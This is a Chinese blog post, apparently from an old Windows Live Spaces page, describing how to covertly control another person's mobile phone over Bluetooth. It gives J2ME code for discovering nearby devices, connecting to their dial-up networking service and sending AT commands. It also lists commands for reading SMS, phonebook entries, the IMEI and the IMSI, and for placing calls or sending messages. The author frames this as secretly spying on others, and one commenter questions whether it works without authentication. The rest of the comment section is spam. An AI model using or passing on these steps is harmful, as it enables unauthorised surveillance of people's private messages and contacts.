悦 さんのプロフィール微程小筑フォトブログリスト ツール ヘルプ
    6月12日

    J2ME手机蓝牙间谍控制之我所见

    2005到现在又没有写文章了,手又开始发痒了.在这篇文章里我们说说通过J2ME的蓝牙控制手机。
    我们先说说控制了手机能够做什么?我们就有了手机的大部份控制权力,比如手机信息,电量,序列号,控制打电话,读取信息,电话本内容,打开对方手机的JAVA,控制多媒体播放器,可以放音乐,控制音量大小,更改对方的情景模式,发送按键信号.....
         看到"难道手机有木马?还是产商有后门?"看到这样,不免大家会发出这样的疑问.其实,都不是!
         以前如果搞过pc控制手机或玩过modem的朋友大家应该有印象.记得AT命令吗?AT即ATTENTION,90年代初,AT指令仅被用于Modem操作。没有控制移动电话文本消息的先例,只开发了一种叫SMS BlockMode的协议,通过终端设备(TE)或电脑来完全控制SMS。几年后,主要的移动电话生产厂商诺基亚、爱立信、摩托罗拉和HP共同为GSM 研制了一整套AT指令,其中就包括对SMS的控制。AT指令在此基础上演化并被加入GSM 07.05标准以及现在的GSM07.07标准,完全标准化和比较健全的标准。
         对!通过AT命令我们完全控制完全控制手机!我们用什么方式连接到手机呢,以前大家在控制手机的时候多半会用串口,红外.以前我短信群发的时候,用红外,控制了手机让手机进行短信群发。但是你想偷偷控制别人的手机于无形,这两种都不是太好选择,如果你用串口线或USB线你总不至于对你要控制的人说"兄弟,把你的手机拿来,我插根线控制你,看你的短信!",如果用红外说"兄弟,你的手机位置对正一点,不然我控制不到你了!",那么还得是蓝牙,距离是近是近了点,但是始终不容易被发现!
    第一步,我们先看看,你的手机支持不支持J2ME的蓝牙!
    try{
        Class.forName("javax.bluetooth.LocalDevice");
    }
    catch(Exception ex){
        System.out.println("操!我的手机不支持蓝牙");
    }
    第二步,如果支持蓝牙,我们就搜索一下,看看我们附近有没有蓝牙设备!
    LocalDevice localDevice = LocalDevice.getLocalDevice();
    discoveryAgent = localDevice.getDiscoveryAgent();//创建蓝牙搜索代理
    discoveryAgent.startInquiry(DiscoveryAgent.GIAC, this);//开始搜索,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口.
    如果搜索到了有新设备,它会调用deviceDiscoverd()方法接收!
     public void deviceDiscovered(RemoteDevice remoteDevice, DeviceClass cod) {
            try{
                remoteDevices.addElement(remoteDevice);
            } catch(Exception e){
                   System.out.println("猪呀!怎么又错了!");
            }
    }
    当设备发现时会调用如下方法:
    public void deviceDiscovered(RemoteDevice remotedevice, DeviceClass deviceclass){
     try{
         s = remotedevice.getFriendlyName(false); //得到好友名称,这个有些时候可能为空,也有可能会报错.
     }
     catch(Exception _ex){
       try{
         s = remotedevice.getBluetoothAddress(); //得到蓝牙地址
       }
       catch(Exception _ex2) { }
     }         
    }
    当搜索完成时会调用如下方法:
     public void inquiryCompleted(int discType) {
        String inqStatus = null;
        if (discType == DiscoveryListener.INQUIRY_COMPLETED) {
          inqStatus = "老子完成搜索了!厉害吧!";           
        } else if (discType == DiscoveryListener.INQUIRY_TERMINATED) {
          inqStatus = "讨打,叫我搜就搜,叫我停就停,面子都没有!";
        } else if (discType == DiscoveryListener.INQUIRY_ERROR) {
          inqStatus = "啊哦!老子又挂了!";
        }
           
      }
    remoteDevices不知道是什么了吧~remoteDevices其实就是---一个Vector,用于存放名称及蓝牙地址的.
    第三步,搜索蓝牙服务.
    RemoteDevice aremotedevice[] = discoveryAgent.retrieveDevices(x);
    //这语句读出以前搜索的设备,x为其参数DiscoveryAgent.CACHED(缓存设备)和DiscoveryAgent.PREKNOWN(已知设备),如果要更新设备名称就按上方法,重新刷新一下面好友名称
    UUID auuid[] = {new UUID(0x1103), new UUID(0x0100)};
    try{
         discoveryAgent.searchServices(null, auuid, aremotedevice[y], this);
    //搜索蓝牙设备服务,auuid为指定的服务类型,0x1103代表播号网络服务,aremotedevice[y]指定设备,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口
     }
     catch(Exception exception){
       
     }
    当发现新服务时会调用如下方法:
     public void servicesDiscovered(int i, ServiceRecord aservicerecord[]) {
      try{
          if(aservicerecord.length > -1){
            Object obj = null;
            for(int j = 0; j <= aservicerecord.length - 1; j++){
              String s = aservicerecord[j1].getConnectionURL(0, false);// 读出的设备服务连接地址
            }
              System.out.println("得到服务连接地址!");
            } else{
              System.out.println("没有得到服务连接地址!");         
            }
          }
          catch(Exception exception){
              System.out.println("又出错了,-_-!"); 
          }
      }
    当搜索完成时会调用如下方法:
    public final void serviceSearchCompleted(int i, int j){
      if(j != 1){
        System.out.println("没有搜索到任何可用服务!");            
      }
    }
    第四步,连接到设备服务,并实现输入输出.
    OutputStream outputStream;
    InputStream inputStream;
    StreamConnection streamConnection;
    streamConnection = (StreamConnection)Connector.open(s);//s为上面getConnectionURL读出的设备服务连接地址
    outputStream = streamConnection.openOutputStream();//创建输出流
    inputStream = streamConnection.openInputStream();//创建输入流
    第五步,如果第四步没有什么问题的话.那么恭喜你,你可以完全控制他的手机了.(哈哈哈哈,奸笑中......^_^),下面我们看一下如何控制他的手机.
    现在我们就可以用outputStream直输出at命令了.
    如: 发送ATA 接电话命令.
    String s="ATA";
    outputStream.write(s.getBytes());
    outputStream.write(13);
    outputStream.write(10);
    outputStream.flush();
    最可以用inputStream.read()来接返回的消息.
    再来回顾一次重点.j2ME本身就是支持蓝牙的,手机是通过播号网络服务方式支持at命令的.只要用j2ME连接到另一台手机的播号网络服务就可以直接发送at命令.可惜网上资料太少了.....
    下面我们就介绍一下常用的AT命令(具体看手机支持不支持,大多数是标准的^_^):
    AT+CGMI 给出模块厂商的标识。
    AT+CGMM 获得模块标识。
    AT+CGMR 获得改订的软件版本。
    AT+CGSN 获得GSM模块的IMEI(国际移动设备标识)序列号。
    AT+CSCS 选择TE特征设定。这个命令报告TE用的是哪个状态设定上的ME。ME于是可以转换每一个输入的或显示的字母。这个是用来发送、读取或者撰写短信。
    AT+WPCS 设定电话簿状态。这个特殊的命令报告通过TE电话簿所用的状态的ME。ME于是可以转换每一个输入的或者显示的字符串字母。这个用来读或者写电话簿的入口。
    AT+CIMI 获得IMSI。这命令用来读取或者识别SIM卡的IMSI(国际移动签署者标识)。在读取IMSI之前应该先输入PIN(如果需要PIN的话)。
    AT+CCID 获得SIM卡的标识。这个命令使模块读取SIM卡上的EF-CCID文件。
    AT+GCAP 获得能力表。(支持的功能)
    A/ 重复上次命令。只有A/命令不能重复。这命令重复前一个执行的命令。
    AT+CPOF 关机。这个特殊的命令停止GSM软件堆栈和硬件层。命令AT+CFUN=0的功能与+CPOF相同。
    AT+CFUN 设定电话机能。这个命令选择移动站点的机能水平。
    AT+CPAS 返回移动设备的活动状态。
    AT+CMEE 报告移动设备的错误。这个命令决定允许或不允许用结果码“+CME ERROR:<xxx>”或者“+CMS ERROR:<xxx>”代替简单的“ERROR”。
    AT+CKPD 小键盘控制。仿真ME小键盘执行命令。
    AT+CCLK 时钟管理。这个命令用来设置或者获得ME真实时钟的当前日期和时间。
    AT+CALA 警报管理。这个命令用来设定在ME中的警报日期/时间。(闹铃)
    AT+CRMP 铃声旋律播放。这个命令在模块的蜂鸣器上播放一段旋律。有两种旋律可用:到来语音、数据或传真呼叫旋律和到来短信声音。
    AT+CRSL 设定或获得到来的电话铃声的声音级别。
    ATD 拨号命令。这个命令用来设置通话、数据或传真呼叫。
    ATH 挂机命令。
    ATA 接电话。
    AT+CEER 扩展错误报告。这个命令给出当上一次通话设置失败后中断通话的原因。
    AT+VTD 给用户提供应用GSM网络发送DTMF(双音多频)双音频。这个命令用来定义双音频的长度(默认值是300毫秒)。
    AT+VTS 给用户提供应用GSM网络发送DTMF双音频。这个命令允许传送双音频。
    ATDL 重拨上次电话号码。
    AT%Dn 数据终端就绪(DTR)时自动拨号。
    ATS0 自动应答。
    AT+CICB 来电信差。
    AT+CSNS 单一编号方案。
    AT+VGR,AT+VGT 增益控制。这个命令应用于调节喇叭的接收增益和麦克风的传输增益。
    AT+CMUT 麦克风静音控制。
    AT+SPEAKER 喇叭/麦克风选择。这个特殊命令用来选择喇叭和麦克风。
    AT+ECHO 回音取消。
    AT+SIDET 侧音修正。
    AT+VIP 初始化声音参数。
    AT+DUI 用附加的用户信息拨号。
    AT+HUI 用附加的用户信息挂机。
    AT+RUI 接收附加用户信息。
    AT+CSQ 信号质量。
    AT+COPS 服务商选择。
    AT+CREG 网络注册。获得手机的注册状态。
    AT+WOPN 读取操作员名字。
    AT+CPOL 优先操作员列表。
    AT+CPIN2 输入PIN2。
    AT+CPINC PIN的剩余的尝试号码。
    AT+CLCK 设备锁。
    AT+CPWD 改变密码。
    AT+CPBS 选择电话簿记忆存储。
    AT+CPBR 读取电话簿表目。
    AT+CPBF 查找电话簿表目。
    AT+CPBW 写电话簿表目。
    AT+CPBP 电话簿电话查询。
    AT+CPBN 电话簿移动动作。这个特殊命令使电话簿中的条目前移或后移(按字母顺序)
    AT+CNUM 签署者号码。
    AT+WAIP 防止在下一次重起时初始化所有的电话簿。
    AT+WDCP 删除呼叫电话号码。
    AT+CSVM 设置语音邮件号码。
    AT+CSMS 选择消息服务。支持的服务有GSM-MO、SMS-MT、SMS-CB。
    AT+CNMA 新信息确认应答。
    AT+CPMS 优先信息存储。这个命令定义用来读写信息的存储区域。
    AT+CMGF 优先信息格式。执行格式有TEXT方式和PDU方式。
    AT+CSAS 保存设置。保存+CSAS和+CSMP的参数。
    AT+CRES 恢复设置。
    AT+CSDH 显示文本方式的参数。
    AT+CNMI 新信息指示。这个命令选择如何从网络上接收短信息。
    AT+CMGR 读短信。信息从+CPMS命令设定的存储器读取。
    AT+CMGL 列出存储的信息。
    AT+CMGS 发送信息。
    AT+CMGW 写短信息并存储。
    AT+CMSS 从存储器中发送信息。
    AT+CSMP 设置文本模式的参数。
    AT+CMGD 删除短信息。删除一个或多个短信息。
    AT+CSCA 短信服务中心地址。
    AT+CSCB 选择单元广播信息类型。
    AT+WCBM 单元广播信息标识。
    AT+WMSC 信息状态(是否读过、是否发送等等)修正。
    AT+WMGO 信息覆盖写入。
    AT+WUSS 不改变SMS状态。在执行+CMGR或+CMGL后仍保持UNREAD。
    值得注意的是,通常有些命令是配合使用,比如发送中文短信(在设置完成手机参数后):
    outputStream.write("AT+CMGF=1".getBytes());//设置信息格式,0为TEXT方式和1为PDU方式。
    outputStream.write("AT+CMGS='12345678999',10 ".getBytes()); //发送短信到XX
    outputStream.write("0x600xa80x590x7d0x000x1a".getBytes());//发送中文短信内容
    好了,有了以前的知识,您就可以使用蓝牙控制其他的手机了,事先申明,如果拿去偷看别人的手机被打不关我事.此文仅在技术分析,如果更多需要交流请加我的QQ:24259132,请转载者尊重一下原著的版权,谢谢!

    コメント (7 件)

    しばらくお待ちください。
    入力されたコメントは長すぎます。短くしてください。
    何も入力されていません。もう一度やり直してください。
    現在、コメントを追加できません。後でもう一度やり直してください。
    コメントと書くには、保護者 (ほごしゃ) の方の許可 (きょか) をもらってください。許可をリクエストする
    保護者 (ほごしゃ) の方が、あなたがコメントを書けないようにしています。
    現在、コメントを削除できません。後でもう一度やり直してください。
    1 日に投稿できるコメントの最大数を超えました。24 時間経過してから、もう一度やり直してください。
    あなたが他のユーザーに対して迷惑行為を行っている可能性があると確認されたため、お使いのアカウントによるコメントの投稿を無効にしています。誤って無効にされたと思われる場合は、Windows Live のサポートにお問い合わせください。
    コメントを投稿する前に、以下のセキュリティ チェックを完了してください。
    セキュリティ チェックに入力する文字は、画像に表示されている文字または音声で流れた文字と一致していなければいけません。

    コメントを投稿するには、お使いの Windows Live ID でサインインしてください (Hotmail、Messenger、または Xbox LIVE を既に使用している場合は、そのアカウントが Windows Live ID です)。サインイン


    Windows Live ID をお持ちでない場合は、アカウントを新規登録してください。

    8 月 20 日
    名前なしさんの投稿:
    您需要二手液晶显示屏废旧液晶屏么?我们是不折不扣的二手液晶屏、旧液晶屏大批发商,长期大量供应可再利用的旧液晶屏。我公司提供的各种尺寸的二手液晶屏, 不同厚薄如笔记本屏,均已经过我们严格的分类,检验,测试流程。请访问协力液晶屏www.sceondhandlcd.com[beaijghjjacgcaba]
    11 月 24 日
    10 月 24 日
    名前なしさんの投稿:
    To the global wow gold the cheapest wow power leveling under the cheapest single-site! -7507042006669
    9 月 14 日
    名前なしさんの投稿:

    Amberdigital Branch,Southern Stars Enterprises Co is specializing in the development and manufacturing of advertisement screens, LCD digital signage and LCD signages. Established in 1996, we have explored and developed the international market with professionalism. We have built a widespread marketing network, and set up a capable management team dedicated to provide beyond-expectation services to our customers.

    amberdigital Contact Us
    Southern Stars Enterprises Co (Hong Kong Office)
    Add:3 Fl, No.2, Lane 2, Kam Tsin Tsuen, Sheung Shui, Hong Kong
    Tel:+852 2681 4099
    Fax:+852 2681 4586

    Southern Stars Enterprises Co (Shenzhen Office)
    Add:DE, 16/F, Building 2, Nanguo Tower, Sungang Road, Shenzhen, China
    Tel:+86 755 2592 9100
    Fax:+86 755 2592 7171

    E-mail:sstar@netvigator.com
    website:www.amberdigital.com.hk
    alibaba:amberdigital.en.alibaba.com[b

    8 月 24 日
    小西さんの投稿:
    (*^__^*) 嘻嘻……
    6 月 28 日
    cwl- cw-lさんの投稿:
    小微你试验过了吗?没有校验?认证之类的?能找到设备应该操作不了才对。
    6 月 18 日

    トラックバック

    この記事のトラックバックの URL は次のとおりです。
    http://mprogramer.spaces.live.com/blog/cns!3A4015E3796B1CB9!240.trak
    この記事を参照しているブログ
    • なし